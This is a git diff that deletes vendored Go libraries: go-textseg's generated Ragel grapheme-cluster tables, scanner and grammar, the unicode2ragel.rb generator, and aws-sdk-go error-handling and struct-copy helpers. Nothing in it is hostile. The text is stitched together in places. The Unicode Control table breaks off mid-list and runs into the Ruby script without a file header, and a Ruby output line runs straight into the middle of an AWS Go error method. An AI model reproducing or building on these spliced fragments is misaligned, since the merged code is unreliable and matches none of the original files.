761, 761, 761, 761, 761, 761, - 761, 761, 761, 761, 761, 761, 147, 761, - 761, 147, 761, 761, 147, 761, 761, 761, - 761, 761, 761, 761, 761, 761, 761, 761, - 761, 761, 761, 761, 761, 761, 761, 147, - 761, 761, 761, 761, 0, 0, 0, 982, - 982, 982, 982, 982, 982, 982, 982, 982, - 982, 982, 982, 982, 982, 982, 982, 982, - 982, 982, 982, 982, 982, 982, 982, 982, - 982, 982, 982, 982, 982, 982, 982, 982, - 982, 982, 982, 982, 982, 982, 982, 982, - 982, 982, 982, 982, 982, 982, 982, 982, - 982, 982, 982, 982, 982, 982, 982, 982, - 982, 982, 982, 982, 982, 982, 982, 982, - 982, 982, 982, 982, 982, 982, 982, 982, - 982, 982, 982, 982, 982, 982, 982, 982, - 982, 982, 982, 982, 982, 982, 982, 982, - 982, 982, 982, 982, 982, 982, 982, 982, - 982, 982, 982, 982, 982, 982, 982, 982, - 982, 982, 982, 982, 982, 982, 982, 982, - 982, 982, 982, 982, 982, 982, 982, 982, - 982, 982, 982, 982, 982, 982, 982, 982, - 982, 982, 982, 982, 982, 982, 982, 982, - 982, 982, 982, 982, 982, 982, 982, 982, - 982, 982, 982, 982, 982, 982, 982, 982, - 982, 982, 982, 982, 982, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 1171, 1171, - 1171, 1171, 1171, 1171, 1171, 1171, 1171, 1171, - 1171, 1171, 1171, 1171, 1171, 1171, 1171, 1171, - 1171, 1171, 1171, 1171, 1171, 1171, 1171, 1171, - 1171, 1171, 1171, 1171, 1171, 1171, 1171, 1171, - 1171, 1171, 1171, 1171, 1171, 1171, 1171, 1171, - 1171, 1171, 1171, 1171, 1171, 1171, 1171, 1171, - 1171, 1171, 1171, 1171, 1171, 1171, 1171, 1171, - 1171, 1171, 1171, 1171, 1171, 1171, 1171, 1171, - 1171, 1171, 1171, 1171, 1171, 1171, 1171, 1171, - 1171, 1171, 1171, 1171, 1171, 1171, 1171, 1171, - 1171, 1171, 1171, 1171, 1171, 1171, 1171, 1171, - 1171, 1171, 1171, 1171, 1171, 1171, 1171, 1171, - 1171, 1171, 1171, 1171, 1171, 1171, 1171, 1171, - 1171, 1171, 1171, 1171, 1171, 1171, 1171, 1171, - 1171, 1171, 1171, 1171, 1171, 1171, 1171, 1171, - 1171, 1171, 1171, 1171, 1171, 1171, 1171, 1171, - 1171, 1171, 1171, 1171, 1171, 1171, 1171, 1171, - 1171, 1171, 1171, 1171, 1171, 1171, 1171, 1171, - 1171, 1171, 1171, 1171, 1171, 1171, 1171, 1171, - 1171, 1171, 1171, 1171, 1171, 1171, 1171, 1171, - 1171, 1171, 1171, 1171, 1171, 1171, 1171, 1171, - 1171, 1171, 1171, 1171, 1171, 1171, 1171, 1171, - 1171, 1171, 1171, 1171, 1171, 1171, 1171, 1171, - 1171, 1171, 1171, 1171, 1171, 1171, 1171, 1171, - 1171, 1171, 1171, 1171, 1171, 1171, 1171, 1171, - 1171, 1171, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 1382, 1401, 1401, 1424, 1424, 1424, 1424, - 1424, 1424, 1424, 1424, 1424, 1493, 1493, 1493, - 1493, 1493, 1493, 1527, 1546, 1546, 1546, -} - -const graphclust_start int = 1528 -const graphclust_first_final int = 1528 -const graphclust_error int = 0 - -const graphclust_en_main int = 1528 - -//line grapheme_clusters.rl:14 - -var Error = errors.New("invalid UTF8 text") - -// ScanGraphemeClusters is a split function for bufio.Scanner that splits -// on grapheme cluster boundaries. -func ScanGraphemeClusters(data []byte, atEOF bool) (int, []byte, error) { - if len(data) == 0 { - return 0, nil, nil - } - - // Ragel state - cs := 0 // Current State - p := 0 // "Pointer" into data - pe := len(data) // End-of-data "pointer" - ts := 0 - te := 0 - act := 0 - eof := pe - - // Make Go compiler happy - _ = ts - _ = te - _ = act - _ = eof - - startPos := 0 - endPos := 0 - -//line grapheme_clusters.go:3787 - { - cs = graphclust_start - ts = 0 - te = 0 - act = 0 - } - -//line grapheme_clusters.go:3795 - { - var _klen int - var _trans int - var _acts int - var _nacts uint - var _keys int - if p == pe { - goto _test_eof - } - if cs == 0 { - goto _out - } - _resume: - _acts = int(_graphclust_from_state_actions[cs]) - _nacts = uint(_graphclust_actions[_acts]) - _acts++ - for ; _nacts > 0; _nacts-- { - _acts++ - switch _graphclust_actions[_acts-1] { - case 4: -//line NONE:1 - ts = p - -//line grapheme_clusters.go:3818 - } - } - - _keys = int(_graphclust_key_offsets[cs]) - _trans = int(_graphclust_index_offsets[cs]) - - _klen = int(_graphclust_single_lengths[cs]) - if _klen > 0 { - _lower := int(_keys) - var _mid int - _upper := int(_keys + _klen - 1) - for { - if _upper < _lower { - break - } - - _mid = _lower + ((_upper - _lower) >> 1) - switch { - case data[p] < _graphclust_trans_keys[_mid]: - _upper = _mid - 1 - case data[p] > _graphclust_trans_keys[_mid]: - _lower = _mid + 1 - default: - _trans += int(_mid - int(_keys)) - goto _match - } - } - _keys += _klen - _trans += _klen - } - - _klen = int(_graphclust_range_lengths[cs]) - if _klen > 0 { - _lower := int(_keys) - var _mid int - _upper := int(_keys + (_klen << 1) - 2) - for { - if _upper < _lower { - break - } - - _mid = _lower + (((_upper - _lower) >> 1) & ^1) - switch { - case data[p] < _graphclust_trans_keys[_mid]: - _upper = _mid - 2 - case data[p] > _graphclust_trans_keys[_mid+1]: - _lower = _mid + 2 - default: - _trans += int((_mid - int(_keys)) >> 1) - goto _match - } - } - _trans += _klen - } - - _match: - _trans = int(_graphclust_indicies[_trans]) - _eof_trans: - cs = int(_graphclust_trans_targs[_trans]) - - if _graphclust_trans_actions[_trans] == 0 { - goto _again - } - - _acts = int(_graphclust_trans_actions[_trans]) - _nacts = uint(_graphclust_actions[_acts]) - _acts++ - for ; _nacts > 0; _nacts-- { - _acts++ - switch _graphclust_actions[_acts-1] { - case 0: -//line grapheme_clusters.rl:47 - - startPos = p - - case 1: -//line grapheme_clusters.rl:51 - - endPos = p - - case 5: -//line NONE:1 - te = p + 1 - - case 6: -//line grapheme_clusters.rl:55 - act = 3 - case 7: -//line grapheme_clusters.rl:55 - act = 4 - case 8: -//line grapheme_clusters.rl:55 - te = p + 1 - { - return endPos + 1, data[startPos : endPos+1], nil - } - case 9: -//line grapheme_clusters.rl:55 - te = p + 1 - { - return endPos + 1, data[startPos : endPos+1], nil - } - case 10: -//line grapheme_clusters.rl:55 - te = p - p-- - { - return endPos + 1, data[startPos : endPos+1], nil - } - case 11: -//line grapheme_clusters.rl:55 - te = p - p-- - { - return endPos + 1, data[startPos : endPos+1], nil - } - case 12: -//line grapheme_clusters.rl:55 - te = p - p-- - { - return endPos + 1, data[startPos : endPos+1], nil - } - case 13: -//line grapheme_clusters.rl:55 - te = p - p-- - { - return endPos + 1, data[startPos : endPos+1], nil - } - case 14: -//line grapheme_clusters.rl:55 - te = p - p-- - { - return endPos + 1, data[startPos : endPos+1], nil - } - case 15: -//line grapheme_clusters.rl:55 - te = p - p-- - { - return endPos + 1, data[startPos : endPos+1], nil - } - case 16: -//line grapheme_clusters.rl:55 - p = (te) - 1 - { - return endPos + 1, data[startPos : endPos+1], nil - } - case 17: -//line grapheme_clusters.rl:55 - p = (te) - 1 - { - return endPos + 1, data[startPos : endPos+1], nil - } - case 18: -//line grapheme_clusters.rl:55 - p = (te) - 1 - { - return endPos + 1, data[startPos : endPos+1], nil - } - case 19: -//line grapheme_clusters.rl:55 - p = (te) - 1 - { - return endPos + 1, data[startPos : endPos+1], nil - } - case 20: -//line grapheme_clusters.rl:55 - p = (te) - 1 - { - return endPos + 1, data[startPos : endPos+1], nil - } - case 21: -//line grapheme_clusters.rl:55 - p = (te) - 1 - { - return endPos + 1, data[startPos : endPos+1], nil - } - case 22: -//line NONE:1 - switch act { - case 0: - { - cs = 0 - goto _again - } - case 3: - { - p = (te) - 1 - - return endPos + 1, data[startPos : endPos+1], nil - } - case 4: - { - p = (te) - 1 - - return endPos + 1, data[startPos : endPos+1], nil - } - } - -//line grapheme_clusters.go:4017 - } - } - - _again: - _acts = int(_graphclust_to_state_actions[cs]) - _nacts = uint(_graphclust_actions[_acts]) - _acts++ - for ; _nacts > 0; _nacts-- { - _acts++ - switch _graphclust_actions[_acts-1] { - case 2: -//line NONE:1 - ts = 0 - - case 3: -//line NONE:1 - act = 0 - -//line grapheme_clusters.go:4035 - } - } - - if cs == 0 { - goto _out - } - p++ - if p != pe { - goto _resume - } - _test_eof: - { - } - if p == eof { - if _graphclust_eof_trans[cs] > 0 { - _trans = int(_graphclust_eof_trans[cs] - 1) - goto _eof_trans - } - } - - _out: - { - } - } - -//line grapheme_clusters.rl:117 - - // If we fall out here then we were unable to complete a sequence. - // If we weren't able to complete a sequence then either we've - // reached the end of a partial buffer (so there's more data to come) - // or we have an isolated symbol that would normally be part of a - // grapheme cluster but has appeared in isolation here. - - if !atEOF { - // Request more - return 0, nil, nil - } - - // Just take the first UTF-8 sequence and return that. - _, seqLen := utf8.DecodeRune(data) - return seqLen, data[:seqLen], nil -} diff --git a/vendor/github.com/apparentlymart/go-textseg/v12/textseg/grapheme_clusters.rl b/vendor/github.com/apparentlymart/go-textseg/v12/textseg/grapheme_clusters.rl deleted file mode 100644 index 737db18b29..0000000000 --- a/vendor/github.com/apparentlymart/go-textseg/v12/textseg/grapheme_clusters.rl +++ /dev/null @@ -1,133 +0,0 @@ -package textseg - -import ( - "errors" - "unicode/utf8" -) - -// Generated from grapheme_clusters.rl. DO NOT EDIT -%%{ - # (except you are actually in grapheme_clusters.rl here, so edit away!) - - machine graphclust; - write data; -}%% - -var Error = errors.New("invalid UTF8 text") - -// ScanGraphemeClusters is a split function for bufio.Scanner that splits -// on grapheme cluster boundaries. -func ScanGraphemeClusters(data []byte, atEOF bool) (int, []byte, error) { - if len(data) == 0 { - return 0, nil, nil - } - - // Ragel state - cs := 0 // Current State - p := 0 // "Pointer" into data - pe := len(data) // End-of-data "pointer" - ts := 0 - te := 0 - act := 0 - eof := pe - - // Make Go compiler happy - _ = ts - _ = te - _ = act - _ = eof - - startPos := 0 - endPos := 0 - - %%{ - include GraphemeCluster "grapheme_clusters_table.rl"; - include Emoji "emoji_table.rl"; - - action start { - startPos = p - } - - action end { - endPos = p - } - - action emit { - return endPos+1, data[startPos:endPos+1], nil - } - - ZWJGlue = ZWJ (Extended_Pictographic Extend*)?; - AnyExtender = Extend | ZWJGlue | SpacingMark; - Extension = AnyExtender*; - ReplacementChar = (0xEF 0xBF 0xBD); - - CRLFSeq = CR LF; - ControlSeq = Control | ReplacementChar; - HangulSeq = ( - L+ (((LV? V+ | LVT) T*)?|LV?) | - LV V* T* | - V+ T* | - LVT T* | - T+ - ) Extension; - EmojiSeq = Extended_Pictographic Extend* Extension; - ZWJSeq = ZWJ (ZWJ | Extend | SpacingMark)*; - EmojiFlagSeq = Regional_Indicator Regional_Indicator? Extension; - - UTF8Cont = 0x80 .. 0xBF; - AnyUTF8 = ( - 0x00..0x7F | - 0xC0..0xDF . UTF8Cont | - 0xE0..0xEF . UTF8Cont . UTF8Cont | - 0xF0..0xF7 . UTF8Cont . UTF8Cont . UTF8Cont - ); - - # OtherSeq is any character that isn't at the start of one of the extended sequences above, followed by extension - OtherSeq = (AnyUTF8 - (CR|LF|Control|ReplacementChar|L|LV|V|LVT|T|Extended_Pictographic|ZWJ|Regional_Indicator|Prepend)) (Extend | ZWJ | SpacingMark)*; - - # PrependSeq is prepend followed by any of the other patterns above, except control characters which explicitly break - PrependSeq = Prepend+ (HangulSeq|EmojiSeq|ZWJSeq|EmojiFlagSeq|OtherSeq)?; - - CRLFTok = CRLFSeq >start @end; - ControlTok = ControlSeq >start @end; - HangulTok = HangulSeq >start @end; - EmojiTok = EmojiSeq >start @end; - ZWJTok = ZWJSeq >start @end; - EmojiFlagTok = EmojiFlagSeq >start @end; - OtherTok = OtherSeq >start @end; - PrependTok = PrependSeq >start @end; - - main := |* - CRLFTok => emit; - ControlTok => emit; - HangulTok => emit; - EmojiTok => emit; - ZWJTok => emit; - EmojiFlagTok => emit; - PrependTok => emit; - OtherTok => emit; - - # any single valid UTF-8 character would also be valid per spec, - # but we'll handle that separately after the loop so we can deal - # with requesting more bytes if we're not at EOF. - *|; - - write init; - write exec; - }%% - - // If we fall out here then we were unable to complete a sequence. - // If we weren't able to complete a sequence then either we've - // reached the end of a partial buffer (so there's more data to come) - // or we have an isolated symbol that would normally be part of a - // grapheme cluster but has appeared in isolation here. - - if !atEOF { - // Request more - return 0, nil, nil - } - - // Just take the first UTF-8 sequence and return that. - _, seqLen := utf8.DecodeRune(data) - return seqLen, data[:seqLen], nil -} \ No newline at end of file diff --git a/vendor/github.com/apparentlymart/go-textseg/v12/textseg/grapheme_clusters_table.rl b/vendor/github.com/apparentlymart/go-textseg/v12/textseg/grapheme_clusters_table.rl deleted file mode 100644 index 5e4b5881de..0000000000 --- a/vendor/github.com/apparentlymart/go-textseg/v12/textseg/grapheme_clusters_table.rl +++ /dev/null @@ -1,1589 +0,0 @@ -# The following Ragel file was autogenerated with unicode2ragel.rb -# from: https://www.unicode.org/Public/12.0.0/ucd/auxiliary/GraphemeBreakProperty.txt -# -# It defines ["Prepend", "CR", "LF", "Control", "Extend", "Regional_Indicator", "SpacingMark", "L", "V", "T", "LV", "LVT", "ZWJ"]. -# -# To use this, make sure that your alphtype is set to byte, -# and that your input is in utf8. - -%%{ - machine GraphemeCluster; - - Prepend = - 0xD8 0x80..0x85 #Cf [6] ARABIC NUMBER SIGN..ARABIC NUMBER ... - | 0xDB 0x9D #Cf ARABIC END OF AYAH - | 0xDC 0x8F #Cf SYRIAC ABBREVIATION MARK - | 0xE0 0xA3 0xA2 #Cf ARABIC DISPUTED END OF AYAH - | 0xE0 0xB5 0x8E #Lo MALAYALAM LETTER DOT REPH - | 0xF0 0x91 0x82 0xBD #Cf KAITHI NUMBER SIGN - | 0xF0 0x91 0x83 0x8D #Cf KAITHI NUMBER SIGN ABOVE - | 0xF0 0x91 0x87 0x82..0x83 #Lo [2] SHARADA SIGN JIHVAMULIYA..SHARA... - | 0xF0 0x91 0xA8 0xBA #Lo ZANABAZAR SQUARE CLUSTER-INITIAL L... - | 0xF0 0x91 0xAA 0x84..0x89 #Lo [6] SOYOMBO SIGN JIHVAMULIYA..SOYOM... - | 0xF0 0x91 0xB5 0x86 #Lo MASARAM GONDI REPHA - ; - - CR = - 0x0D #Cc - ; - - LF = - 0x0A #Cc - ; - - Control = - 0x00..0x09 #Cc [10] .. - | 0x0B..0x0C #Cc [2] .. - | 0x0E..0x1F #Cc [18] .. - | 0x7F #Cc [33] .. - | 0xC2 0x80..0x9F # - | 0xC2 0xAD #Cf SOFT HYPHEN - | 0xD8 0x9C #Cf ARABIC LETTER MARK - | 0xE1 0xA0 0x8E #Cf MONGOLIAN VOWEL SEPARATOR - | 0xE2 0x80 0x8B #Cf ZERO WIDTH SPACE - | 0xE2 0x80 0x8E..0x8F #Cf [2] LEFT-TO-RIGHT MARK..RIGHT-TO-LEFT ... - | 0xE2 0x80 0xA8 #Zl LINE SEPARATOR - | 0xE2 0x80 0xA9 #Zp PARAGRAPH SEPARATOR - | 0xE2 0x80 0xAA..0xAE #Cf [5] LEFT-TO-RIGHT EMBEDDING..RIGHT-TO-... - | 0xE2 0x81 0xA0..0xA4 #Cf [5] WORD JOINER..INVISIBLE PLUS - | 0xE2 0x81 0xA5 #Cn - | 0xE2 0x81 0xA6..0xAF #Cf [10] LEFT-TO-RIGHT ISOLATE..NOMINAL DIG... - | 0xEF 0xBB 0xBF #Cf ZERO WIDTH NO-BREAK SPACE - | 0xEF 0xBF 0xB0..0xB8 #Cn [9] .. - | 0xEF 0xBF 0xB9..0xBB #Cf [3] INTERLINEAR ANNOTATION ANCHOR..INT... - | 0xF0 0x93 0x90 0xB0..0xB8 #Cf [9] EGYPTIAN HIEROGLYPH VERTICAL JO... - | 0xF0 0x9B 0xB2 0xA0..0xA3 #Cf [4] SHORTHAND FORMAT LETTER OVERLAP... - | 0xF0 0x9D 0x85 0xB3..0xBA #Cf [8] MUSICAL SYMBOL BEGIN BEAM..MUSI... - | 0xF3 0xA0 0x80 0x80 #Cn - | 0xF3 0xA0 0x80 0x81 #Cf LANGUAGE TAG - | 0xF3 0xA0 0x80 0x82..0x9F #Cn [30] .. - | 0xF3 0xA0 0x82 0x80..0xFF #Cn [128] .. - | 0xF3 0xA0 0x83 0x00..0xBF # - | 0xF3 0xA0 0x87 0xB0..0xFF #Cn [3600] .. -# -# This script uses the unicode spec to generate a Ragel state machine -# that recognizes unicode alphanumeric characters. It generates 5 -# character classes: uupper, ulower, ualpha, udigit, and ualnum. -# Currently supported encodings are UTF-8 [default] and UCS-4. -# -# Usage: unicode2ragel.rb [options] -# -e, --encoding [ucs4 | utf8] Data encoding -# -h, --help Show this message -# -# This script was originally written as part of the Ferret search -# engine library. -# -# Author: Rakan El-Khalil - -require 'optparse' -require 'open-uri' - -ENCODINGS = [ :utf8, :ucs4 ] -ALPHTYPES = { :utf8 => "byte", :ucs4 => "rune" } -DEFAULT_CHART_URL = "http://www.unicode.org/Public/5.1.0/ucd/DerivedCoreProperties.txt" -DEFAULT_MACHINE_NAME= "WChar" - -### -# Display vars & default option - -TOTAL_WIDTH = 80 -RANGE_WIDTH = 23 -@encoding = :utf8 -@chart_url = DEFAULT_CHART_URL -machine_name = DEFAULT_MACHINE_NAME -properties = [] -@output = $stdout - -### -# Option parsing - -cli_opts = OptionParser.new do |opts| - opts.on("-e", "--encoding [ucs4 | utf8]", "Data encoding") do |o| - @encoding = o.downcase.to_sym - end - opts.on("-h", "--help", "Show this message") do - puts opts - exit - end - opts.on("-u", "--url URL", "URL to process") do |o| - @chart_url = o - end - opts.on("-m", "--machine MACHINE_NAME", "Machine name") do |o| - machine_name = o - end - opts.on("-p", "--properties x,y,z", Array, "Properties to add to machine") do |o| - properties = o - end - opts.on("-o", "--output FILE", "output file") do |o| - @output = File.new(o, "w+") - end -end - -cli_opts.parse(ARGV) -unless ENCODINGS.member? @encoding - puts "Invalid encoding: #{@encoding}" - puts cli_opts - exit -end - -## -# Downloads the document at url and yields every alpha line's hex -# range and description. - -def each_alpha( url, property ) - open( url ) do |file| - file.each_line do |line| - next if line =~ /^#/; - next if line !~ /; #{property} *#/; - - range, description = line.split(/;/) - range.strip! - description.gsub!(/.*#/, '').strip! - - if range =~ /\.\./ - start, stop = range.split '..' - else start = stop = range - end - - yield start.hex .. stop.hex, description - end - end -end - -### -# Formats to hex at minimum width - -def to_hex( n ) - r = "%0X" % n - r = "0#{r}" unless (r.length % 2).zero? - r -end - -### -# UCS4 is just a straight hex conversion of the unicode codepoint. - -def to_ucs4( range ) - rangestr = "0x" + to_hex(range.begin) - rangestr << "..0x" + to_hex(range.end) if range.begin != range.end - [ rangestr ] -end - -## -# 0x00 - 0x7f -> 0zzzzzzz[7] -# 0x80 - 0x7ff -> 110yyyyy[5] 10zzzzzz[6] -# 0x800 - 0xffff -> 1110xxxx[4] 10yyyyyy[6] 10zzzzzz[6] -# 0x010000 - 0x10ffff -> 11110www[3] 10xxxxxx[6] 10yyyyyy[6] 10zzzzzz[6] - -UTF8_BOUNDARIES = [0x7f, 0x7ff, 0xffff, 0x10ffff] - -def to_utf8_enc( n ) - r = 0 - if n <= 0x7f - r = n - elsif n <= 0x7ff - y = 0xc0 | (n >> 6) - z = 0x80 | (n & 0x3f) - r = y << 8 | z - elsif n <= 0xffff - x = 0xe0 | (n >> 12) - y = 0x80 | (n >> 6) & 0x3f - z = 0x80 | n & 0x3f - r = x << 16 | y << 8 | z - elsif n <= 0x10ffff - w = 0xf0 | (n >> 18) - x = 0x80 | (n >> 12) & 0x3f - y = 0x80 | (n >> 6) & 0x3f - z = 0x80 | n & 0x3f - r = w << 24 | x << 16 | y << 8 | z - end - - to_hex(r) -end - -def from_utf8_enc( n ) - n = n.hex - r = 0 - if n <= 0x7f - r = n - elsif n <= 0xdfff - y = (n >> 8) & 0x1f - z = n & 0x3f - r = y << 6 | z - elsif n <= 0xefffff - x = (n >> 16) & 0x0f - y = (n >> 8) & 0x3f - z = n & 0x3f - r = x << 10 | y << 6 | z - elsif n <= 0xf7ffffff - w = (n >> 24) & 0x07 - x = (n >> 16) & 0x3f - y = (n >> 8) & 0x3f - z = n & 0x3f - r = w << 18 | x << 12 | y << 6 | z - end - r -end - -### -# Given a range, splits it up into ranges that can be continuously -# encoded into utf8. Eg: 0x00 .. 0xff => [0x00..0x7f, 0x80..0xff] -# This is not strictly needed since the current [5.1] unicode standard -# doesn't have ranges that straddle utf8 boundaries. This is included -# for completeness as there is no telling if that will ever change. - -def utf8_ranges( range ) - ranges = [] - UTF8_BOUNDARIES.each do |max| - if range.begin <= max - if range.end <= max - ranges << range - return ranges - end - - ranges << (range.begin .. max) - range = (max + 1) .. range.end - end - end - ranges -end - -def build_range( start, stop ) - size = start.size/2 - left = size - 1 - return [""] if size < 1 - - a = start[0..1] - b = stop[0..1] - - ### - # Shared prefix - - if a == b - return build_range(start[2..-1], stop[2..-1]).map do |elt| - "0x#{a} " + elt - end - end - - ### - # Unshared prefix, end of run - - return ["0x#{a}..0x#{b} "] if left.zero? - - ### - # Unshared prefix, not end of run - # Range can be 0x123456..0x56789A - # Which is equivalent to: - # 0x123456 .. 0x12FFFF - # 0x130000 .. 0x55FFFF - # 0x560000 .. 0x56789A - - ret = [] - ret << build_range(start, a + "FF" * left) - - ### - # Only generate middle range if need be. - - if a.hex+1 != b.hex - max = to_hex(b.hex - 1) - max = "FF" if b == "FF" - ret << "0x#{to_hex(a.hex+1)}..0x#{max} " + "0x00..0xFF " * left - end - - ### - # Don't generate last range if it is covered by first range - - ret << build_range(b + "00" * left, stop) unless b == "FF" - ret.flatten! -end - -def to_utf8( range ) - utf8_ranges( range ).map do |r| - begin_enc = to_utf8_enc(r.begin) - end_enc = to_utf8_enc(r.end) - build_range begin_enc, end_enc - end.flatten! -end - -## -# Perform a 3-way comparison of the number of codepoints advertised by -# the unicode spec for the given range, the originally parsed range, -# and the resulting utf8 encoded range. - -def count_codepoints( code ) - code.split(' ').inject(1) do |acc, elt| - if elt =~ /0x(.+)\.\.0x(.+)/ - if @encoding == :utf8 - acc * (from_utf8_enc($2) - from_utf8_enc($1) + 1) - else - acc * ($2.hex - $1.hex + 1) - end - else - acc - end - end -end - -def is_valid?( range, desc, codes ) - spec_count = 1 - spec_count = $1.to_i if desc =~ /\[(\d+)\]/ - range_count = range.end - range.begin + 1 - - sum = codes.inject(0) { |acc, elt| acc + count_codepoints(elt) } - sum == spec_count and sum == range_count -end - -## -# Generate the state maching to stdout - -def generate_machine( name, property ) - pipe = " " - @output.puts " #{name} = " - each_alpha( @chart_url, property ) do |range, desc| - - codes = (@encoding == :ucs4) ? to_ucs4(range) : to_utf8(range) - - #raise "Invalid encoding of range #{range}: #{codes.inspect}" unless - # is_valid? range, desc, codes - - range_width = codes.map { |a| a.size }.max - range_width = RANGE_WIDTH if range_width < RANGE_WIDTH - - desc_width = TOTAL_WIDTH - RANGE_WIDTH - 11 - desc_width -= (range_width - RANGE_WIDTH) if range_width > RANGE_WIDTH - - if desc.size > desc_width - desc = desc[0..desc_width - 4] + "..." - end - - codes.each_with_index do |r, idx| - desc = "" unless idx.zero? - code = "%-#{range_width}s" % r - @output.puts " #{pipe} #{code} ##{desc}" - pipe = "|" - end - end - @output.puts " ;" - @output.puts "" -end - -@output.puts < 0 { - return SprintError(b.code, b.message, "", errorList(b.errs)) - } - - return SprintError(b.code, b.message, "", nil) -} - -// String returns the string representation of the error. -// Alias for Error to satisfy the stringer interface. -func (b baseError) String() string { - return b.Error() -} - -// Code returns the short phrase depicting the classification of the error. -func (b baseError) Code() string { - return b.code -} - -// Message returns the error details message. -func (b baseError) Message() string { - return b.message -} - -// OrigErr returns the original error if one was set. Nil is returned if no -// error was set. This only returns the first element in the list. If the full -// list is needed, use BatchedErrors. -func (b baseError) OrigErr() error { - switch len(b.errs) { - case 0: - return nil - case 1: - return b.errs[0] - default: - if err, ok := b.errs[0].(Error); ok { - return NewBatchError(err.Code(), err.Message(), b.errs[1:]) - } - return NewBatchError("BatchedErrors", - "multiple errors occurred", b.errs) - } -} - -// OrigErrs returns the original errors if one was set. An empty slice is -// returned if no error was set. -func (b baseError) OrigErrs() []error { - return b.errs -} - -// So that the Error interface type can be included as an anonymous field -// in the requestError struct and not conflict with the error.Error() method. -type awsError Error - -// A requestError wraps a request or service error. -// -// Composed of baseError for code, message, and original error. -type requestError struct { - awsError - statusCode int - requestID string -} - -// newRequestError returns a wrapped error with additional information for -// request status code, and service requestID. -// -// Should be used to wrap all request which involve service requests. Even if -// the request failed without a service response, but had an HTTP status code -// that may be meaningful. -// -// Also wraps original errors via the baseError. -func newRequestError(err Error, statusCode int, requestID string) *requestError { - return &requestError{ - awsError: err, - statusCode: statusCode, - requestID: requestID, - } -} - -// Error returns the string representation of the error. -// Satisfies the error interface. -func (r requestError) Error() string { - extra := fmt.Sprintf("status code: %d, request id: %s", - r.statusCode, r.requestID) - return SprintError(r.Code(), r.Message(), extra, r.OrigErr()) -} - -// String returns the string representation of the error. -// Alias for Error to satisfy the stringer interface. -func (r requestError) String() string { - return r.Error() -} - -// StatusCode returns the wrapped status code for the error -func (r requestError) StatusCode() int { - return r.statusCode -} - -// RequestID returns the wrapped requestID -func (r requestError) RequestID() string { - return r.requestID -} - -// OrigErrs returns the original errors if one was set. An empty slice is -// returned if no error was set. -func (r requestError) OrigErrs() []error { - if b, ok := r.awsError.(BatchedErrors); ok { - return b.OrigErrs() - } - return []error{r.OrigErr()} -} - -// An error list that satisfies the golang interface -type errorList []error - -// Error returns the string representation of the error. -// -// Satisfies the error interface. -func (e errorList) Error() string { - msg := "" - // How do we want to handle the array size being zero - if size := len(e); size > 0 { - for i := 0; i < size; i++ { - msg += fmt.Sprintf("%s", e[i].Error()) - // We check the next index to see if it is within the slice. - // If it is, then we append a newline. We do this, because unit tests - // could be broken with the additional '\n' - if i+1 < size { - msg += "\n" - } - } - } - return msg -} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/awsutil/copy.go b/vendor/github.com/aws/aws-sdk-go/aws/awsutil/copy.go deleted file mode 100644 index 1a3d106d5c..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/awsutil/copy.go +++ /dev/null @@ -1,108 +0,0 @@ -package awsutil - -import ( - "io" - "reflect" - "time" -) - -// Copy deeply copies a src structure to dst. Useful for copying request and -// response structures. -// -// Can copy between structs of different type, but will only copy fields which -// are assignable, and exist in both structs. Fields which are not assignable, -// or do not exist in both structs are ignored. -func Copy(dst, src interface{}) { - dstval := reflect.ValueOf(dst) - if !dstval.IsValid() { - panic("Copy dst cannot be nil") - } - - rcopy(dstval, reflect.ValueOf(src), true) -} - -// CopyOf returns a copy of src while also allocating the memory for dst. -// src must be a pointer type or this operation will fail. -func CopyOf(src interface{}) (dst interface{}) { - dsti := reflect.New(reflect.TypeOf(src).Elem()) - dst = dsti.Interface() - rcopy(dsti, reflect.ValueOf(src), true) - return -} - -// rcopy performs a recursive copy of values from the source to destination. -// -// root is used to skip certain aspects of the copy which are not valid -// for the root node of a object. -func rcopy(dst, src reflect.Value, root bool) { - if !src.IsValid() { - return - } - - switch src.Kind() { - case reflect.Ptr: - if _, ok := src.Interface().(io.Reader); ok { - if dst.Kind() == reflect.Ptr && dst.Elem().CanSet() { - dst.Elem().Set(src) - } else if dst.CanSet() { - dst.Set(src) - } - } else { - e := src.Type().Elem() - if dst.CanSet() && !src.IsNil() { - if _, ok := src.Interface().(*time.Time); !ok { - dst.Set(reflect.New(e)) - } else { - tempValue := reflect.New(e) - tempValue.Elem().Set(src.Elem()) - // Sets time.Time's unexported values - dst.Set(tempValue) - } - } - if src.Elem().IsValid() { - // Keep the current root state since the depth hasn't changed - rcopy(dst.Elem(), src.Elem(), root) - } - } - case reflect.Struct: - t := dst.Type() - for i := 0; i < t.NumField(); i++ { - name := t.Field(i).Name - srcVal := src.FieldByName(name) - dstVal := dst.FieldByName(name) - if srcVal.IsValid() && dstVal.CanSet() { - rcopy(dstVal, srcVal, false) - } - } - case reflect.Slice: - if src.IsNil() { - break - } - - s := reflect.MakeSlice(src.Type(), src.Len(), src.Cap()) - dst.Set(s) - for i := 0; i < src.Len(); i++ { - rcopy(dst.Index(i), src.Index(i), false) - } - case reflect.Map: - if src.IsNil() { - break - } - - s := reflect.MakeMap(src.Type()) - dst.Set(s) - for _, k := range src.MapKeys() { - v := src.MapIndex(k) - v2 := reflect.New(v.Type()).Elem() - rcopy(v2, v, false) - dst.SetMapIndex(k, v2) - } - default: - // Assign the value if possible. If its not assignable, the value would - // need to be converted and the impact of that may be unexpected, or is - // not compatible with the dst type. - if src.Type().AssignableTo(dst.Type()) { - dst.Set(src) - } - } -} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/awsutil/equal.go b/vendor/github.com/aws/aws-sdk-go/aws/awsutil/equal.go deleted file mode 100644 index 59fa4a558a..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/awsutil/equal.go +++ /dev/null @@ -1,27 +0,0 @@ -package awsutil - -import ( - "reflect" -) - -// DeepEqual returns if the two values are deeply equal like reflect.DeepEqual. -// In addition to this, this method will also dereference the input values if -// possible so the DeepEqual performed will not fail if one parameter is a -// pointer and the other is not. -// -// DeepEqual will not 